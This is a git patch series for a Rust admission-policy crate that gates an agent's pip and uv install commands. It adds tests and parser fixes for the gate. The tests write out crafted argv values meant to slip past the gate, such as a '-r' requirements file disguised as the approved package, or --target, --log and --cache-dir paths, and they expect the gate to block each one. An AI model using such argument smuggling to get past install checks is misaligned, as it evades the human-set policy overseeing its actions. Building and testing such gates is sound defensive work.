crates/agent-artifact-admission/tests/uv_global_indirect_artifact_source_authority_contract.rs diff --git a/crates/agent-artifact-admission/tests/uv_global_indirect_artifact_source_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_indirect_artifact_source_authority_contract.rs new file mode 100644 index 00000000..ad9c038c --- /dev/null +++ b/crates/agent-artifact-admission/tests/uv_global_indirect_artifact_source_authority_contract.rs @@ -0,0 +1,202 @@ +use wardnet_agent_artifact_admission::{ + AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, + InstallIntent, InstructionSource, InstructionSourceKind, ReasonCode, admission_decision, + sha256_hex, +}; + +#[test] +fn approved_uv_install_without_global_parser_options_remains_admissible() { + let (policy, intent) = approved_uv_install(); + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Allow); + assert!(decision.reason_codes.is_empty()); +} + +#[test] +fn uv_global_requirement_source_preserves_indirect_artifact_evidence() { + let (policy, mut hostile) = approved_uv_install(); + hostile.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "-r".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &hostile); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand), + "reviewed uv global-option grammar remains outside the deliberately narrow supported command: {:?}", + decision.reason_codes + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "a requirements-file operand must not masquerade as the reviewed direct package after uv global options: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(hostile.argv.join("\u{1f}").as_bytes()), + "audit identity must remain bound to the exact submitted argv" + ); +} + +#[test] +fn attached_uv_global_option_preserves_indirect_artifact_evidence() { + let (policy, mut hostile) = approved_uv_install(); + hostile.argv = vec![ + "uv".to_string(), + "--color=never".to_string(), + "pip".to_string(), + "install".to_string(), + "-r".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &hostile); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "attached parser-valid uv global options must not erase indirect-source evidence: {:?}", + decision.reason_codes + ); +} + +#[test] +fn non_install_uv_grammar_does_not_inherit_indirect_install_source_semantics() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "sync".to_string(), + "-r".to_string(), + "cwl-example==1.2.3".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + !decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "non-install uv grammar must not inherit pip-install indirect-source semantics: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(intent.argv.join("\u{1f}").as_bytes()) + ); +} + +#[test] +fn consumed_install_root_value_cannot_masquerade_as_the_reviewed_artifact() { + let (policy, mut intent) = approved_uv_install(); + intent.argv = vec![ + "uv".to_string(), + "--color".to_string(), + "never".to_string(), + "pip".to_string(), + "install".to_string(), + "--target".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ]; + + let decision = admission_decision(&policy, &intent); + + assert_eq!(decision.decision, DecisionKind::Block); + assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::AlternateInstallRoot) + ); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ArtifactNotApproved), + "a selector-consumed value is not a direct package operand merely because it equals the approved token: {:?}", + decision.reason_codes + ); +} + +fn approved_uv_install() -> (AdmissionPolicy, InstallIntent) { + let artifact = ArtifactCoordinate { + ecosystem: "pypi".to_string(), + name: "cwl-example".to_string(), + version: "1.2.3".to_string(), + registry_url: "https://pypi.org/simple".to_string(), + owner: "ContextualWisdomLab".to_string(), + sha256: "cccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccccc".to_string(), + artifact_argument: "cwl-example==1.2.3".to_string(), + }; + let policy = AdmissionPolicy { + policy_id: "uv-global-indirect-source-authority".to_string(), + policy_revision: "2026-09-15.1".to_string(), + allowed_executables: vec!["uv".to_string()], + approved_manifests: vec![ApprovedManifest { + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa".to_string(), + }], + approved_artifacts: vec![ApprovedArtifact { + ecosystem: artifact.ecosystem.clone(), + name: artifact.name.clone(), + version: artifact.version.clone(), + registry_url: artifact.registry_url.clone(), + owner: artifact.owner.clone(), + sha256: artifact.sha256.clone(), + artifact_argument: artifact.artifact_argument.clone(), + }], + }; + let intent = InstallIntent { + request_id: "req-uv-global-indirect-source-authority".to_string(), + actor_id: "agent:wardnet:admission".to_string(), + workspace_id: "ContextualWisdomLab/wardnet".to_string(), + operation: "install".to_string(), + argv: vec![ + "uv".to_string(), + "pip".to_string(), + "install".to_string(), + "cwl-example==1.2.3".to_string(), + "--require-hashes".to_string(), + "--no-deps".to_string(), + "--no-python-downloads".to_string(), + ], + manifest_sha256: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" + .to_string(), + source: InstructionSource { + kind: InstructionSourceKind::ReviewedConfig, + uri: None, + content_sha256: None, + }, + artifacts: vec![artifact], + }; + (policy, intent) +} From 6619db4fb82203af6cc6ac55c788fa679af9c33a Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 15 Sep 2026 09:04:01 +0900 Subject: [PATCH 694/702] test(admission): format uv global hostile contract --- ...irect_artifact_source_authority_contract.rs | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-) diff --git a/crates/agent-artifact-admission/tests/uv_global_indirect_artifact_source_authority_contract.rs b/crates/agent-artifact-admission/tests/uv_global_indirect_artifact_source_authority_contract.rs index ad9c038c..daf2264c 100644 --- a/crates/agent-artifact-admission/tests/uv_global_indirect_artifact_source_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/uv_global_indirect_artifact_source_authority_contract.rs @@ -72,7 +72,11 @@ fn attached_uv_global_option_preserves_indirect_artifact_evidence() { let decision = admission_decision(&policy, &hostile); assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); assert!( decision .reason_codes @@ -99,7 +103,11 @@ fn non_install_uv_grammar_does_not_inherit_indirect_install_source_semantics() { let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); assert!( !decision .reason_codes @@ -132,7 +140,11 @@ fn consumed_install_root_value_cannot_masquerade_as_the_reviewed_artifact() { let decision = admission_decision(&policy, &intent); assert_eq!(decision.decision, DecisionKind::Block); - assert!(decision.reason_codes.contains(&ReasonCode::ForbiddenCommand)); + assert!( + decision + .reason_codes + .contains(&ReasonCode::ForbiddenCommand) + ); assert!( decision .reason_codes From 0f206d6cb23ca88abfd6f0c0a84e1dcba6e35969 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Tue, 15 Sep 2026 13:10:03 +0900 Subject: [PATCH 695/702] fix(admission): preserve uv indirect source evidence --- crates/agent-artifact-admission/src/policy.rs | 46 +++++++++++-------- 1 file changed, 28 insertions(+), 18 deletions(-) diff --git a/crates/agent-artifact-admission/src/policy.rs b/crates/agent-artifact-admission/src/policy.rs index f54a2e05..60261821 100644 --- a/crates/agent-artifact-admission/src/policy.rs +++ b/crates/agent-artifact-admission/src/policy.rs @@ -403,34 +403,44 @@ fn artifact_ecosystem_matches_executable(executable: &str, ecosystem: &str) -> b } fn requests_indirect_artifact_source(executable: &str, arguments: &[String]) -> bool { - let contains_flag = |flags: &[&str]| { + let contains_flag = |arguments: &[String], flags: &[&str]| { arguments .iter() .any(|argument| flags.iter().any(|flag| matches_cli_flag(argument, flag))) }; match executable { - "pip" | "pip3" => contains_flag(&[ - "-r", - "--requirement", - "-e", - "--editable", - "--requirements-from-script", - ]), - "uv" if arguments.first().is_some_and(|argument| argument == "pip") - && arguments - .get(1) - .is_some_and(|argument| argument == "install") => - { - contains_flag(&[ + "pip" | "pip3" => contains_flag( + arguments, + &[ "-r", "--requirement", - "--requirements", "-e", "--editable", - "--group", - "--project", - ]) + "--requirements-from-script", + ], + ), + "uv" => { + let Some(pip_index) = uv_active_command_index(arguments) else { + return false; + }; + if arguments.get(pip_index).map(String::as_str) != Some("pip") + || arguments.get(pip_index + 1).map(String::as_str) != Some("install") + { + return false; + } + contains_flag( + &arguments[pip_index + 2..], + &[ + "-r", + "--requirement", + "--requirements", + "-e", + "--editable", + "--group", + "--project", + ], + ) } _ => false, } From ea5e4994d7bee013178c04c7b9d6bfb0a0d3f9f6 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 16 Sep 2026 07:37:14 +0900 Subject: [PATCH 696/702] test(security): expose global pip log authority evidence gap --- .../pypi_log_output_authority_contract.rs | 62 ++++++++++++++++++- 1 file changed, 61 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs index da42a545..c905e980 100644 --- a/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_log_output_authority_contract.rs @@ -1,6 +1,6 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, - InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, sha256_hex, }; #[test] @@ -50,6 +50,66 @@ fn approved_pip_install_cannot_gain_caller_selected_log_write_authority() { } } +#[test] +fn valid_global_pip_log_options_remain_causal_write_authority_evidence() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + + for global_log_arguments in [ + vec!["--log=/tmp/wardnet-pip.log"], + vec!["--log", "/tmp/wardnet-pip.log"], + vec!["--log-file=/tmp/wardnet-pip.log"], + vec!["--log-file", "/tmp/wardnet-pip.log"], + vec!["--local-log=/tmp/wardnet-pip.log"], + vec!["--local-log", "/tmp/wardnet-pip.log"], + vec!["--log-f", "/tmp/wardnet-pip.log"], + vec!["--loc=/tmp/wardnet-pip.log"], + ] { + let mut intent = control_intent.clone(); + let mut argv = Vec::with_capacity(intent.argv.len() + global_log_arguments.len()); + argv.push(executable.to_string()); + argv.extend( + global_log_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); + argv.extend(control_intent.argv.iter().skip(1).cloned()); + intent.argv = argv; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "parser-valid global {executable} {} must fail closed", + global_log_arguments.join(" ") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "parser-valid global {executable} {} must retain causal log-write evidence: {:?}", + global_log_arguments.join(" "), + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "the log path consumed by pip General Options must not masquerade as an artifact operand: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "policy normalization must preserve the exact submitted argv audit identity" + ); + } + } +} + fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), From b0264360b55a84474f7d9ce51044adb540807153 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 16 Sep 2026 11:01:36 +0900 Subject: [PATCH 697/702] fix(security): share reviewed pip log grammar --- .../agent-artifact-admission/src/pypi_log_output_authority.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/src/pypi_log_output_authority.rs b/crates/agent-artifact-admission/src/pypi_log_output_authority.rs index da8c9174..6a57838d 100644 --- a/crates/agent-artifact-admission/src/pypi_log_output_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_log_output_authority.rs @@ -27,7 +27,7 @@ pub(crate) fn requests_unapproved_pypi_log_output_authority(intent: &InstallInte /// pip uses Python optparse, which accepts unambiguous long-option prefixes. /// Keep this accepted-language set explicit so an ambiguous prefix such as /// `--lo` is not reinterpreted by Wardnet as valid caller authority. -fn matches_pip_log_option(argument: &str) -> bool { +pub(crate) fn matches_pip_log_option(argument: &str) -> bool { let option = argument.split_once('=').map_or(argument, |(name, _)| name); matches!( option, From eedaa3fb46e89ce740c28269654235ba99c51912 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 16 Sep 2026 11:02:00 +0900 Subject: [PATCH 698/702] fix(security): normalize global pip log authority --- .../src/pypi_global_option_authority.rs | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs index 715aa215..024211d8 100644 --- a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs @@ -1,6 +1,7 @@ use crate::InstallIntent; use crate::pypi_certificate_store_authority::matches_pip_certificate_store_abbreviation; use crate::pypi_client_certificate_authority::matches_pip_client_certificate_option; +use crate::pypi_log_output_authority::matches_pip_log_option; use crate::pypi_proxy_authority::{ is_attached_direct_pip_proxy_selector, is_direct_pip_proxy_value_selector, }; @@ -123,6 +124,26 @@ pub(crate) fn normalize_reviewed_direct_pip_global_options( continue; } + if matches_pip_log_option(argument) { + if let Some((_, value)) = argument.split_once('=') { + if value.is_empty() { + return None; + } + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + } else { + // A separate log path is consumed General Option grammar. Attach + // it only in the internal policy copy so it cannot masquerade as + // an artifact operand; the submitted argv/hash stay authoritative. + push_attached_normalized_value_argument( + arguments, + &mut reviewed_global_arguments, + &mut index, + )?; + } + continue; + } + if matches_pip_python_interpreter_option(argument) { let value = if let Some((_, value)) = argument.split_once('=') { if value.is_empty() { From f6adbc349353de80c55411ba08ae9ca977467073 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 16 Sep 2026 16:46:00 +0900 Subject: [PATCH 699/702] test(security): expose global pip cache authority phase gap --- .../pypi_cache_dir_authority_contract.rs | 56 ++++++++++++++++++- 1 file changed, 55 insertions(+), 1 deletion(-) diff --git a/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs b/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs index 1b120034..9b284a96 100644 --- a/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs +++ b/crates/agent-artifact-admission/tests/pypi_cache_dir_authority_contract.rs @@ -1,6 +1,6 @@ use wardnet_agent_artifact_admission::{ AdmissionPolicy, ApprovedArtifact, ApprovedManifest, ArtifactCoordinate, DecisionKind, - InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, + InstallIntent, InstructionSource, InstructionSourceKind, admission_decision, sha256_hex, }; #[test] @@ -46,6 +46,60 @@ fn approved_pip_install_cannot_gain_caller_selected_cache_directory_authority() } } +#[test] +fn valid_global_pip_cache_directory_options_remain_causal_write_authority_evidence() { + for executable in ["pip", "pip3"] { + let (policy, control_intent) = approved_pip_install(executable); + + for global_cache_arguments in [ + vec!["--cache-dir=/tmp/wardnet-pip-cache"], + vec!["--cache-dir", "/tmp/wardnet-pip-cache"], + ] { + let mut intent = control_intent.clone(); + let mut argv = Vec::with_capacity(intent.argv.len() + global_cache_arguments.len()); + argv.push(executable.to_string()); + argv.extend( + global_cache_arguments + .iter() + .map(|argument| (*argument).to_string()), + ); + argv.extend(control_intent.argv.iter().skip(1).cloned()); + intent.argv = argv; + let submitted_argv = intent.argv.clone(); + + let decision = admission_decision(&policy, &intent); + assert_eq!( + decision.decision, + DecisionKind::Block, + "parser-valid global {executable} {} must fail closed", + global_cache_arguments.join(" ") + ); + assert!( + decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "alternate_install_root"), + "parser-valid global {executable} {} must retain causal cache-directory evidence: {:?}", + global_cache_arguments.join(" "), + decision.reason_codes + ); + assert!( + !decision + .reason_codes + .iter() + .any(|reason| reason.as_str() == "artifact_not_approved"), + "the cache path consumed by pip General Options must not masquerade as an artifact operand: {:?}", + decision.reason_codes + ); + assert_eq!( + decision.command_sha256, + sha256_hex(submitted_argv.join("\u{1f}").as_bytes()), + "policy normalization must preserve the exact submitted argv audit identity" + ); + } + } +} + fn approved_pip_install(executable: &str) -> (AdmissionPolicy, InstallIntent) { let artifact = ArtifactCoordinate { ecosystem: "pypi".to_string(), From 7250408aa9e4acf1820e7a2f4ced6e25be197920 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 16 Sep 2026 20:21:45 +0900 Subject: [PATCH 700/702] fix(security): expose canonical pip cache selector --- .../src/pypi_cache_directory_authority.rs | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs b/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs index c687e436..139e46bc 100644 --- a/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs @@ -36,6 +36,16 @@ pub(crate) fn requests_unapproved_pypi_cache_directory_authority(intent: &Instal } } +/// Match only the canonical pip General Option spelling. Pre-command option +/// normalization intentionally does not inherit install-parser abbreviations +/// without separate upstream evidence for that parser phase. +pub(crate) fn matches_canonical_pip_cache_directory_option(argument: &str) -> bool { + argument + .split_once('=') + .map_or(argument, |(name, _)| name) + == "--cache-dir" +} + /// pip uses Python optparse, which accepts an unambiguous long-option prefix. /// `--ca` is the shortest prefix of `--cache-dir` that does not collide with /// another current `pip install` long option at the reviewed upstream commit. From abc7a4f5aac60d028e218a6b9d8fb8347c01a189 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Wed, 16 Sep 2026 20:22:11 +0900 Subject: [PATCH 701/702] fix(security): preserve global pip cache authority --- .../src/pypi_global_option_authority.rs | 21 +++++++++++++++++++ 1 file changed, 21 insertions(+) diff --git a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs index 024211d8..80649702 100644 --- a/crates/agent-artifact-admission/src/pypi_global_option_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_global_option_authority.rs @@ -1,4 +1,5 @@ use crate::InstallIntent; +use crate::pypi_cache_directory_authority::matches_canonical_pip_cache_directory_option; use crate::pypi_certificate_store_authority::matches_pip_certificate_store_abbreviation; use crate::pypi_client_certificate_authority::matches_pip_client_certificate_option; use crate::pypi_log_output_authority::matches_pip_log_option; @@ -124,6 +125,26 @@ pub(crate) fn normalize_reviewed_direct_pip_global_options( continue; } + if matches_canonical_pip_cache_directory_option(argument) { + if let Some((_, value)) = argument.split_once('=') { + if value.is_empty() { + return None; + } + reviewed_global_arguments.push(arguments[index].clone()); + index += 1; + } else { + // A separate cache path is consumed General Option grammar. Attach + // it only in the internal policy copy so it cannot masquerade as + // an artifact operand; the submitted argv/hash stay authoritative. + push_attached_normalized_value_argument( + arguments, + &mut reviewed_global_arguments, + &mut index, + )?; + } + continue; + } + if matches_pip_log_option(argument) { if let Some((_, value)) = argument.split_once('=') { if value.is_empty() { From 35de5dc66992c72c3d634969d72ac0de403be1a2 Mon Sep 17 00:00:00 2001 From: Seongho Bae Date: Thu, 17 Sep 2026 03:19:36 +0900 Subject: [PATCH 702/702] fix(ci): apply rustfmt to pip cache authority helper --- .../src/pypi_cache_directory_authority.rs | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs b/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs index 139e46bc..14d18b7d 100644 --- a/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs +++ b/crates/agent-artifact-admission/src/pypi_cache_directory_authority.rs @@ -40,10 +40,7 @@ pub(crate) fn requests_unapproved_pypi_cache_directory_authority(intent: &Instal /// normalization intentionally does not inherit install-parser abbreviations /// without separate upstream evidence for that parser phase. pub(crate) fn matches_canonical_pip_cache_directory_option(argument: &str) -> bool { - argument - .split_once('=') - .map_or(argument, |(name, _)| name) - == "--cache-dir" + argument.split_once('=').map_or(argument, |(name, _)| name) == "--cache-dir" } /// pip uses Python optparse, which accepts an unambiguous long-option prefix.